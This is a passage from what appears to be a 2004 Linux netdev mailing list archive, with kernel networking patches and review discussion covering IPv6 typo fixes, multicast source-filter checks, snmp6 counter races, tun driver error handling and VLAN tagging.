===== net/ipv6/ip6_fib.c 1.21 vs edited ===== --- 1.21/net/ipv6/ip6_fib.c Fri Jul 11 18:17:06 2003 +++ edited/net/ipv6/ip6_fib.c Fri Jan 23 09:48:15 2004 @@ -942,7 +942,7 @@ } fn = fn->parent; } - /* No more references are possiible at this point. */ + /* No more references are possible at this point. */ if (atomic_read(&rt->rt6i_ref) != 1) BUG(); } ===== net/ipv6/reassembly.c 1.20 vs edited ===== --- 1.20/net/ipv6/reassembly.c Sun Jun 29 19:38:51 2003 +++ edited/net/ipv6/reassembly.c Fri Jan 23 09:55:41 2004 @@ -526,7 +526,7 @@ } else { struct sk_buff *free_it = next; - /* Old fragmnet is completely overridden with + /* Old fragment is completely overridden with * new one drop it. */ next = next->next; ===== net/ipv6/route.c 1.62 vs edited ===== --- 1.62/net/ipv6/route.c Tue Jan 20 14:15:52 2004 +++ edited/net/ipv6/route.c Fri Jan 23 09:55:08 2004 @@ -785,7 +785,7 @@ /* IPv6 strictly inhibits using not link-local addresses as nexthop address. Otherwise, router will not able to send redirects. - It is very good, but in some (rare!) curcumstances + It is very good, but in some (rare!) circumstances (SIT, PtP, NBMA NOARP links) it is handy to allow some exceptions. --ANK */ @@ -1365,10 +1365,10 @@ */ /* If new MTU is less than route PMTU, this new MTU will be the - lowest MTU in the path, update the route PMTU to refect PMTU + lowest MTU in the path, update the route PMTU to reflect PMTU decreases; if new MTU is greater than route PMTU, and the old MTU is the lowest MTU in the path, update the route PMTU - to refect the increase. In this case if the other nodes' MTU + to reflect the increase. In this case if the other nodes' MTU also have the lowest MTU, TOO BIG MESSAGE will be lead to PMTU discouvery. */ -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From xma@us.ibm.com Thu Jan 22 17:09:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 17:09:49 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0N19a7J017829 for ; Thu, 22 Jan 2004 17:09:36 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0N18H6t241576; Thu, 22 Jan 2004 20:08:27 -0500 Received: from d03nm124.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0N186EO072786; Thu, 22 Jan 2004 18:08:06 -0700 Importance: Normal Sensitivity: Subject: Re: [PATCH]snmp6 64-bit counter support in proc.c To: "David S. Miller" Cc: Krishna Kumar , kuznet@ms2.inr.ac.ru, mashirle@us.ibm.com, netdev@oss.sgi.com X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: Shirley Ma Date: Thu, 22 Jan 2004 17:08:04 -0800 X-MIMETrack: Serialize by Router on D03NM124/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/22/2004 18:08:06 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=08BBE4B7DF9673258f9e8a93df938690918c08BBE4B7DF967325" Content-Disposition: inline X-archive-position: 2689 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xma@us.ibm.com Precedence: bulk X-list: netdev --0__=08BBE4B7DF9673258f9e8a93df938690918c08BBE4B7DF967325 Content-type: text/plain; charset=US-ASCII Do you really care about this situation? It only happens as a race within one instruction in 4 billion. It will slow everytime if we do this way. Thanks Shirley Ma IBM Linux Technology Center 15300 SW Koll Parkway Beaverton, OR 97006-6063 Phone: (503) 578-7638 FAX: (503) 578-3228 --0__=08BBE4B7DF9673258f9e8a93df938690918c08BBE4B7DF967325 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Do you really care about this situation? It only happens as a race within one instruction in 4 billion. It will slow everytime if we do this way.

Thanks
Shirley Ma
IBM Linux Technology Center
15300 SW Koll Parkway
Beaverton, OR 97006-6063
Phone: (503) 578-7638
FAX: (503) 578-3228

--0__=08BBE4B7DF9673258f9e8a93df938690918c08BBE4B7DF967325-- From davem@redhat.com Thu Jan 22 17:52:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 17:52:36 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0N1qH7J019536 for ; Thu, 22 Jan 2004 17:52:17 -0800 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id RAA10825; Thu, 22 Jan 2004 17:43:19 -0800 Date: Thu, 22 Jan 2004 17:43:19 -0800 (PST) Message-Id: <20040122.174319.74739148.davem@redhat.com> To: xma@us.ibm.com Cc: kumarkr@us.ibm.com, kuznet@ms2.inr.ac.ru, mashirle@us.ibm.com, netdev@oss.sgi.com Subject: Re: [PATCH]snmp6 64-bit counter support in proc.c From: "David S. Miller" In-Reply-To: References: X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2690 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Shirley Ma Date: Thu, 22 Jan 2004 17:08:04 -0800 Do you really care about this situation? It only happens as a race within one instruction in 4 billion. It will slow everytime if we do this way. correctness > performance If MRTG hits this case and my net usage graphs have weird spikes in them as a result, can I assign the bugzilla entry to you? :-) From dlstevens@us.ibm.com Thu Jan 22 18:03:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 18:03:21 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0N22u7J020144 for ; Thu, 22 Jan 2004 18:03:03 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0N22K4E390538; Thu, 22 Jan 2004 21:02:31 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0N229HB123262; Thu, 22 Jan 2004 19:02:10 -0700 Importance: Normal Sensitivity: Subject: multicast loop with include filters fix [PATCH] To: davem@redhat.com, netdev@oss.sgi.com Cc: stevenh@xsmail.com X-Mailer: Lotus Notes Release 5.0.4a July 24, 2000 Message-ID: From: David Stevens Date: Thu, 22 Jan 2004 19:02:07 -0700 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/22/2004 19:02:09 MIME-Version: 1.0 Content-type: multipart/mixed; Boundary="0__=07BBE4B7DF99ABEB8f9e8a93df938690918c07BBE4B7DF99ABEB" X-archive-position: 2691 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE4B7DF99ABEB8f9e8a93df938690918c07BBE4B7DF99ABEB Content-type: multipart/alternative; Boundary="1__=07BBE4B7DF99ABEB8f9e8a93df938690918c07BBE4B7DF99ABEB" --1__=07BBE4B7DF99ABEB8f9e8a93df938690918c07BBE4B7DF99ABEB Content-type: text/plain; charset=US-ASCII When sending a multicast and using looping back a copy to the local machine, the interface filter checks can be done before the source address is specified. For an INCLUDE filter, this won't match the allowed sources and the packets won't be delivered locally, even when the ultimate source address chosen is in the allowed list. The patch below fixes the filter checks for both IGMPv3 and MLDv2 to only apply when a source address is available. Thanks to Steven Hessing for reporting the problem and providing a test case for reproducing it. +-DLS [not-whitespace-mangled patch attached] diff -ruN linux-2.6.2-rc1/net/ipv4/igmp.c linux-2.6.2-rc1F1/net/ipv4/igmp.c --- linux-2.6.2-rc1/net/ipv4/igmp.c 2004-01-21 14:03:35.000000000 -0800 +++ linux-2.6.2-rc1F1/net/ipv4/igmp.c 2004-01-22 17:11:38.000000000 -0800 @@ -2084,16 +2084,19 @@ if (im && proto == IPPROTO_IGMP) { rv = 1; } else if (im) { - for (psf=im->sources; psf; psf=psf->sf_next) { - if (psf->sf_inaddr == src_addr) - break; - } - if (psf) - rv = psf->sf_count[MCAST_INCLUDE] || - psf->sf_count[MCAST_EXCLUDE] != - im->sfcount[MCAST_EXCLUDE]; - else - rv = im->sfcount[MCAST_EXCLUDE] != 0; + if (src_addr) { + for (psf=im->sources; psf; psf=psf->sf_next) { + if (psf->sf_inaddr == src_addr) + break; + } + if (psf) + rv = psf->sf_count[MCAST_INCLUDE] || + psf->sf_count[MCAST_EXCLUDE] != + im->sfcount[MCAST_EXCLUDE]; + else + rv = im->sfcount[MCAST_EXCLUDE] != 0; + } else + rv = 1; /* unspecified source; tentatively allow */ } read_unlock(&in_dev->lock); return rv; diff -ruN linux-2.6.2-rc1/net/ipv6/mcast.c linux-2.6.2-rc1F1/net/ipv6/mcast.c --- linux-2.6.2-rc1/net/ipv6/mcast.c 2004-01-21 14:03:35.000000000 -0800 +++ linux-2.6.2-rc1F1/net/ipv6/mcast.c 2004-01-22 17:29:29.000000000 -0800 @@ -918,20 +918,24 @@ break; } if (mc) { - struct ip6_sf_list *psf; + if (ipv6_addr_any(src_addr)) { + struct ip6_sf_list *psf; - spin_lock_bh(&mc->mca_lock); - for (psf=mc->mca_sources; psf; psf=psf->sf_next) { - if (ipv6_addr_cmp(&psf->sf_addr, src_addr) == 0) - break; - } - if (psf) - rv = psf->sf_count[MCAST_INCLUDE] || - psf->sf_count[MCAST_EXCLUDE] != - mc->mca_sfcount[MCAST_EXCLUDE]; - else - rv = mc->mca_sfcount[MCAST_EXCLUDE] != 0; - spin_unlock_bh(&mc->mca_lock); + spin_lock_bh(&mc->mca_lock); + for (psf=mc->mca_sources;psf;psf=psf->sf_next) { + if (ipv6_addr_cmp(&psf->sf_addr, + src_addr) == 0) + break; + } + if (psf) + rv = psf->sf_count[MCAST_INCLUDE] || + psf->sf_count[MCAST_EXCLUDE] != + mc->mca_sfcount[MCAST_EXCLUDE]; + else + rv = mc->mca_sfcount[MCAST_EXCLUDE] !=0; + spin_unlock_bh(&mc->mca_lock); + } else + rv = 1; /* don't filter unspecified source */ } read_unlock_bh(&idev->lock); in6_dev_put(idev); (See attached file: igmpf1.patch) --1__=07BBE4B7DF99ABEB8f9e8a93df938690918c07BBE4B7DF99ABEB Content-type: text/html; charset=US-ASCII Content-Disposition: inline

When sending a multicast and using looping back a copy to the
local machine, the interface filter checks can be done before the
source address is specified. For an INCLUDE filter, this won't match
the allowed sources and the packets won't be delivered locally,
even when the ultimate source address chosen is in the allowed list.

The patch below fixes the filter checks for both IGMPv3 and MLDv2
to only apply when a source address is available.

Thanks to Steven Hessing for reporting the problem and providing
a test case for reproducing it.

+-DLS

[not-whitespace-mangled patch attached]

diff -ruN linux-2.6.2-rc1/net/ipv4/igmp.c linux-2.6.2-rc1F1/net/ipv4/igmp.c
--- linux-2.6.2-rc1/net/ipv4/igmp.c 2004-01-21 14:03:35.000000000 -0800
+++ linux-2.6.2-rc1F1/net/ipv4/igmp.c 2004-01-22 17:11:38.000000000 -0800
@@ -2084,16 +2084,19 @@
if (im && proto == IPPROTO_IGMP) {
rv = 1;
} else if (im) {
- for (psf=im->sources; psf; psf=psf->sf_next) {
- if (psf->sf_inaddr == src_addr)
- break;
- }
- if (psf)
- rv = psf->sf_count[MCAST_INCLUDE] ||
- psf->sf_count[MCAST_EXCLUDE] !=
- im->sfcount[MCAST_EXCLUDE];
- else
- rv = im->sfcount[MCAST_EXCLUDE] != 0;
+ if (src_addr) {
+ for (psf=im->sources; psf; psf=psf->sf_next) {
+ if (psf->sf_inaddr == src_addr)
+ break;
+ }
+ if (psf)
+ rv = psf->sf_count[MCAST_INCLUDE] ||
+ psf->sf_count[MCAST_EXCLUDE] !=
+ im->sfcount[MCAST_EXCLUDE];
+ else
+ rv = im->sfcount[MCAST_EXCLUDE] != 0;
+ } else
+ rv = 1; /* unspecified source; tentatively allow */
}
read_unlock(&in_dev->lock);
return rv;
diff -ruN linux-2.6.2-rc1/net/ipv6/mcast.c linux-2.6.2-rc1F1/net/ipv6/mcast.c
--- linux-2.6.2-rc1/net/ipv6/mcast.c 2004-01-21 14:03:35.000000000 -0800
+++ linux-2.6.2-rc1F1/net/ipv6/mcast.c 2004-01-22 17:29:29.000000000 -0800
@@ -918,20 +918,24 @@
break;
}
if (mc) {
- struct ip6_sf_list *psf;
+ if (ipv6_addr_any(src_addr)) {
+ struct ip6_sf_list *psf;

- spin_lock_bh(&mc->mca_lock);
- for (psf=mc->mca_sources; psf; psf=psf->sf_next) {
- if (ipv6_addr_cmp(&psf->sf_addr, src_addr) == 0)
- break;
- }
- if (psf)
- rv = psf->sf_count[MCAST_INCLUDE] ||
- psf->sf_count[MCAST_EXCLUDE] !=
- mc->mca_sfcount[MCAST_EXCLUDE];
- else
- rv = mc->mca_sfcount[MCAST_EXCLUDE] != 0;
- spin_unlock_bh(&mc->mca_lock);
+ spin_lock_bh(&mc->mca_lock);
+ for (psf=mc->mca_sources;psf;psf=psf->sf_next) {
+ if (ipv6_addr_cmp(&psf->sf_addr,
+ src_addr) == 0)
+ break;
+ }
+ if (psf)
+ rv = psf->sf_count[MCAST_INCLUDE] ||
+ psf->sf_count[MCAST_EXCLUDE] !=
+ mc->mca_sfcount[MCAST_EXCLUDE];
+ else
+ rv = mc->mca_sfcount[MCAST_EXCLUDE] !=0;
+ spin_unlock_bh(&mc->mca_lock);
+ } else
+ rv = 1; /* don't filter unspecified source */
}
read_unlock_bh(&idev->lock);
in6_dev_put(idev);

(See attached file: igmpf1.patch)
--1__=07BBE4B7DF99ABEB8f9e8a93df938690918c07BBE4B7DF99ABEB-- --0__=07BBE4B7DF99ABEB8f9e8a93df938690918c07BBE4B7DF99ABEB Content-type: application/octet-stream; name="igmpf1.patch" Content-Disposition: attachment; filename="igmpf1.patch" Content-ID: <10__=07BBE4B7DF99ABEB8f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 ZGlmZiAtcnVOIGxpbnV4LTIuNi4yLXJjMS9uZXQvaXB2NC9pZ21wLmMgbGludXgtMi42LjItcmMx RjEvbmV0L2lwdjQvaWdtcC5jCi0tLSBsaW51eC0yLjYuMi1yYzEvbmV0L2lwdjQvaWdtcC5jCTIw MDQtMDEtMjEgMTQ6MDM6MzUuMDAwMDAwMDAwIC0wODAwCisrKyBsaW51eC0yLjYuMi1yYzFGMS9u ZXQvaXB2NC9pZ21wLmMJMjAwNC0wMS0yMiAxNzoxMTozOC4wMDAwMDAwMDAgLTA4MDAKQEAgLTIw ODQsMTYgKzIwODQsMTkgQEAKIAlpZiAoaW0gJiYgcHJvdG8gPT0gSVBQUk9UT19JR01QKSB7CiAJ CXJ2ID0gMTsKIAl9IGVsc2UgaWYgKGltKSB7Ci0JCWZvciAocHNmPWltLT5zb3VyY2VzOyBwc2Y7 IHBzZj1wc2YtPnNmX25leHQpIHsKLQkJCWlmIChwc2YtPnNmX2luYWRkciA9PSBzcmNfYWRkcikK LQkJCQlicmVhazsKLQkJfQotCQlpZiAocHNmKQotCQkJcnYgPSBwc2YtPnNmX2NvdW50W01DQVNU X0lOQ0xVREVdIHx8Ci0JCQkJcHNmLT5zZl9jb3VudFtNQ0FTVF9FWENMVURFXSAhPQotCQkJCWlt LT5zZmNvdW50W01DQVNUX0VYQ0xVREVdOwotCQllbHNlCi0JCQlydiA9IGltLT5zZmNvdW50W01D QVNUX0VYQ0xVREVdICE9IDA7CisJCWlmIChzcmNfYWRkcikgeworCQkJZm9yIChwc2Y9aW0tPnNv dXJjZXM7IHBzZjsgcHNmPXBzZi0+c2ZfbmV4dCkgeworCQkJCWlmIChwc2YtPnNmX2luYWRkciA9 PSBzcmNfYWRkcikKKwkJCQkJYnJlYWs7CisJCQl9CisJCQlpZiAocHNmKQorCQkJCXJ2ID0gcHNm LT5zZl9jb3VudFtNQ0FTVF9JTkNMVURFXSB8fAorCQkJCQlwc2YtPnNmX2NvdW50W01DQVNUX0VY Q0xVREVdICE9CisJCQkJCWltLT5zZmNvdW50W01DQVNUX0VYQ0xVREVdOworCQkJZWxzZQorCQkJ CXJ2ID0gaW0tPnNmY291bnRbTUNBU1RfRVhDTFVERV0gIT0gMDsKKwkJfSBlbHNlCisJCQlydiA9 IDE7IC8qIHVuc3BlY2lmaWVkIHNvdXJjZTsgdGVudGF0aXZlbHkgYWxsb3cgKi8KIAl9CiAJcmVh ZF91bmxvY2soJmluX2Rldi0+bG9jayk7CiAJcmV0dXJuIHJ2OwpkaWZmIC1ydU4gbGludXgtMi42 LjItcmMxL25ldC9pcHY2L21jYXN0LmMgbGludXgtMi42LjItcmMxRjEvbmV0L2lwdjYvbWNhc3Qu YwotLS0gbGludXgtMi42LjItcmMxL25ldC9pcHY2L21jYXN0LmMJMjAwNC0wMS0yMSAxNDowMzoz NS4wMDAwMDAwMDAgLTA4MDAKKysrIGxpbnV4LTIuNi4yLXJjMUYxL25ldC9pcHY2L21jYXN0LmMJ MjAwNC0wMS0yMiAxNzoyOToyOS4wMDAwMDAwMDAgLTA4MDAKQEAgLTkxOCwyMCArOTE4LDI0IEBA CiAJCQkJYnJlYWs7CiAJCX0KIAkJaWYgKG1jKSB7Ci0JCQlzdHJ1Y3QgaXA2X3NmX2xpc3QgKnBz ZjsKKwkJCWlmIChpcHY2X2FkZHJfYW55KHNyY19hZGRyKSkgeworCQkJCXN0cnVjdCBpcDZfc2Zf bGlzdCAqcHNmOwogCi0JCQlzcGluX2xvY2tfYmgoJm1jLT5tY2FfbG9jayk7Ci0JCQlmb3IgKHBz Zj1tYy0+bWNhX3NvdXJjZXM7IHBzZjsgcHNmPXBzZi0+c2ZfbmV4dCkgewotCQkJCWlmIChpcHY2 X2FkZHJfY21wKCZwc2YtPnNmX2FkZHIsIHNyY19hZGRyKSA9PSAwKQotCQkJCQlicmVhazsKLQkJ CX0KLQkJCWlmIChwc2YpCi0JCQkJcnYgPSBwc2YtPnNmX2NvdW50W01DQVNUX0lOQ0xVREVdIHx8 Ci0JCQkJCXBzZi0+c2ZfY291bnRbTUNBU1RfRVhDTFVERV0gIT0KLQkJCQkJbWMtPm1jYV9zZmNv dW50W01DQVNUX0VYQ0xVREVdOwotCQkJZWxzZQotCQkJCXJ2ID0gbWMtPm1jYV9zZmNvdW50W01D QVNUX0VYQ0xVREVdICE9IDA7Ci0JCQlzcGluX3VubG9ja19iaCgmbWMtPm1jYV9sb2NrKTsKKwkJ CQlzcGluX2xvY2tfYmgoJm1jLT5tY2FfbG9jayk7CisJCQkJZm9yIChwc2Y9bWMtPm1jYV9zb3Vy Y2VzO3BzZjtwc2Y9cHNmLT5zZl9uZXh0KSB7CisJCQkJCWlmIChpcHY2X2FkZHJfY21wKCZwc2Yt PnNmX2FkZHIsCisJCQkJCSAgICBzcmNfYWRkcikgPT0gMCkKKwkJCQkJCWJyZWFrOworCQkJCX0K KwkJCQlpZiAocHNmKQorCQkJCQlydiA9IHBzZi0+c2ZfY291bnRbTUNBU1RfSU5DTFVERV0gfHwK KwkJCQkJCXBzZi0+c2ZfY291bnRbTUNBU1RfRVhDTFVERV0gIT0KKwkJCQkJCW1jLT5tY2Ffc2Zj b3VudFtNQ0FTVF9FWENMVURFXTsKKwkJCQllbHNlCisJCQkJCXJ2ID0gbWMtPm1jYV9zZmNvdW50 W01DQVNUX0VYQ0xVREVdICE9MDsKKwkJCQlzcGluX3VubG9ja19iaCgmbWMtPm1jYV9sb2NrKTsK KwkJCX0gZWxzZQorCQkJCXJ2ID0gMTsgLyogZG9uJ3QgZmlsdGVyIHVuc3BlY2lmaWVkIHNvdXJj ZSAqLwogCQl9CiAJCXJlYWRfdW5sb2NrX2JoKCZpZGV2LT5sb2NrKTsKIAkJaW42X2Rldl9wdXQo aWRldik7Cg== --0__=07BBE4B7DF99ABEB8f9e8a93df938690918c07BBE4B7DF99ABEB-- From davem@redhat.com Thu Jan 22 18:05:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 18:05:55 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0N25g7J020620 for ; Thu, 22 Jan 2004 18:05:42 -0800 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id RAA10871; Thu, 22 Jan 2004 17:57:06 -0800 Date: Thu, 22 Jan 2004 17:57:05 -0800 (PST) Message-Id: <20040122.175705.71096838.davem@redhat.com> To: dlstevens@us.ibm.com Cc: netdev@oss.sgi.com, stevenh@xsmail.com Subject: Re: multicast loop with include filters fix [PATCH] From: "David S. Miller" In-Reply-To: References: X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2692 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: David Stevens Date: Thu, 22 Jan 2004 19:02:07 -0700 When sending a multicast and using looping back a copy to the local machine, the interface filter checks can be done before the source address is specified. For an INCLUDE filter, this won't match the allowed sources and the packets won't be delivered locally, even when the ultimate source address chosen is in the allowed list. The patch below fixes the filter checks for both IGMPv3 and MLDv2 to only apply when a source address is available. Looks good, I guess a 2.4.x variant is forthcoming? Thanks. From chrisw@osdl.org Thu Jan 22 18:14:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 18:14:19 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0N2E57J021140 for ; Thu, 22 Jan 2004 18:14:05 -0800 Received: (from chrisw@localhost) by mail.osdl.org (8.11.6/8.11.6) id i0N2DrO24233; Thu, 22 Jan 2004 18:13:53 -0800 Date: Thu, 22 Jan 2004 18:13:53 -0800 From: Chris Wright To: Max Krasnyansky Cc: Chris Wright , maximilian attems , netdev@oss.sgi.com Subject: Re: [PATCH 1/5] tun check error on memcpy_fromiovec Message-ID: <20040122181353.J2962@osdlab.pdx.osdl.net> References: <20031208202302.C30587@build.pdx.osdl.net> <20031219103457.GD1213@mail.sternwelten.at> <20040116164512.C19034@osdlab.pdx.osdl.net> <1074718162.1707.194.camel@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <1074718162.1707.194.camel@localhost>; from maxk@qualcomm.com on Wed, Jan 21, 2004 at 12:49:23PM -0800 X-archive-position: 2693 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chrisw@osdl.org Precedence: bulk X-list: netdev * Max Krasnyansky (maxk@qualcomm.com) wrote: > On Fri, 2004-01-16 at 16:45, Chris Wright wrote: > > I specifically left those alone. They have a semi-bogus verify_area() > > call that is trying to insure the memcpy_fromiovec won't EFAULT. I'd > > prefer to remove them and simply do memcpy checking. > > Please don't add extra unneeded checks or fix stuff that does not need > to be fixed. Verify area is not bogus. We need to know total length of > the iovec so we might as well check it in the same loop and not bother > with checking later. Yes, I realize it's used to collect total length. But it does not protect from userspace controlled buffer whose contents can change. Continuing when a fault is possible means the skb->data could be zero'd. However, since this is intended to be 0700 root owned device, and the user could supply same such data directly, it's of fairly low priority to patch. thanks, -chris -- Linux Security Modules http://lsm.immunix.org http://lsm.bkbits.net From shmulik.hen@intel.com Thu Jan 22 18:48:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 18:48:22 -0800 (PST) Received: from hermes.fm.intel.com (fmr01.intel.com [192.55.52.18]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0N2m67N022564 for ; Thu, 22 Jan 2004 18:48:08 -0800 Received: from petasus.fm.intel.com (petasus.fm.intel.com [10.1.192.37]) by hermes.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i0MFvcTI006461; Thu, 22 Jan 2004 15:57:38 GMT Received: from fmsmsxv041-1.fm.intel.com (fmsmsxvs041.fm.intel.com [132.233.42.126]) by petasus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i0MG1pKv005279; Thu, 22 Jan 2004 16:01:51 GMT Received: from jrslxjul5.npdj.intel.com ([10.12.220.55]) by fmsmsxv041-1.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004012208001516058 ; Thu, 22 Jan 2004 08:00:16 -0800 From: Shmuel Hen Organization: Intel Corporation To: netdev@oss.sgi.com, bonding-devel@lists.sourceforge.net Subject: [PATCH 3/6][8021q][2.6] Use VLAN tag set functionality in 8021q module Date: Thu, 22 Jan 2004 18:00:13 +0200 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401221800.14862.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2695 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Make the regular/HW accelerated xmit functions in the 8021q module use the new set VLAN tag functionality to reduce code duplication. diff -Nuarp a/net/8021q/vlan_dev.c b/net/8021q/vlan_dev.c --- a/net/8021q/vlan_dev.c Wed Jan 21 16:56:13 2004 +++ b/net/8021q/vlan_dev.c Wed Jan 21 16:56:15 2004 @@ -445,6 +445,7 @@ int vlan_dev_hard_start_xmit(struct sk_b */ if (veth->h_vlan_proto != __constant_htons(ETH_P_8021Q)) { + int orig_headroom = skb_headroom(skb); unsigned short veth_TCI; /* This is not a VLAN frame...but we can fix that! */ @@ -454,33 +455,7 @@ int vlan_dev_hard_start_xmit(struct sk_b printk(VLAN_DBG "%s: proto to encap: 0x%hx (hbo)\n", __FUNCTION__, htons(veth->h_vlan_proto)); #endif - - if (skb_headroom(skb) < VLAN_HLEN) { - struct sk_buff *sk_tmp = skb; - skb = skb_realloc_headroom(sk_tmp, VLAN_HLEN); - kfree_skb(sk_tmp); - if (skb == NULL) { - stats->tx_dropped++; - return 0; - } - VLAN_DEV_INFO(dev)->cnt_inc_headroom_on_tx++; - } else { - if (!(skb = skb_unshare(skb, GFP_ATOMIC))) { - printk(KERN_ERR "vlan: failed to unshare skbuff\n"); - stats->tx_dropped++; - return 0; - } - } - veth = (struct vlan_ethhdr *)skb_push(skb, VLAN_HLEN); - - /* Move the mac addresses to the beginning of the new header. */ - memmove(skb->data, skb->data + VLAN_HLEN, 12); - - /* first, the ethernet type */ - /* put_unaligned(__constant_htons(ETH_P_8021Q), &veth->h_vlan_proto); */ - veth->h_vlan_proto = __constant_htons(ETH_P_8021Q); - - /* Now, construct the second two bytes. This field looks something + /* Construct the second two bytes. This field looks something * like: * usr_priority: 3 bits (high bits) * CFI 1 bit @@ -489,10 +464,16 @@ int vlan_dev_hard_start_xmit(struct sk_b veth_TCI = VLAN_DEV_INFO(dev)->vlan_id; veth_TCI |= vlan_dev_get_egress_qos_mask(dev, skb); - veth->h_vlan_TCI = htons(veth_TCI); - } + skb = __vlan_put_tag(skb, veth_TCI); + if (!skb) { + stats->tx_dropped++; + return 0; + } - skb->dev = VLAN_DEV_INFO(dev)->real_dev; + if (orig_headroom < VLAN_HLEN) { + VLAN_DEV_INFO(dev)->cnt_inc_headroom_on_tx++; + } + } #ifdef VLAN_DEBUG printk(VLAN_DBG "%s: about to send skb: %p to dev: %s\n", @@ -506,10 +487,7 @@ int vlan_dev_hard_start_xmit(struct sk_b stats->tx_packets++; /* for statics only */ stats->tx_bytes += skb->len; - skb->protocol = __constant_htons(ETH_P_8021Q); - skb->mac.raw -= VLAN_HLEN; - skb->nh.raw -= VLAN_HLEN; - + skb->dev = VLAN_DEV_INFO(dev)->real_dev; dev_queue_xmit(skb); return 0; @@ -518,17 +496,22 @@ int vlan_dev_hard_start_xmit(struct sk_b int vlan_dev_hwaccel_hard_start_xmit(struct sk_buff *skb, struct net_device *dev) { struct net_device_stats *stats = vlan_dev_get_stats(dev); - struct vlan_skb_tx_cookie *cookie; + unsigned short veth_TCI; + + /* Construct the second two bytes. This field looks something + * like: + * usr_priority: 3 bits (high bits) + * CFI 1 bit + * VLAN ID 12 bits (low bits) + */ + veth_TCI = VLAN_DEV_INFO(dev)->vlan_id; + veth_TCI |= vlan_dev_get_egress_qos_mask(dev, skb); + skb = __vlan_hwaccel_put_tag(skb, veth_TCI); stats->tx_packets++; stats->tx_bytes += skb->len; skb->dev = VLAN_DEV_INFO(dev)->real_dev; - cookie = VLAN_TX_SKB_CB(skb); - cookie->magic = VLAN_TX_COOKIE_MAGIC; - cookie->vlan_tag = (VLAN_DEV_INFO(dev)->vlan_id | - 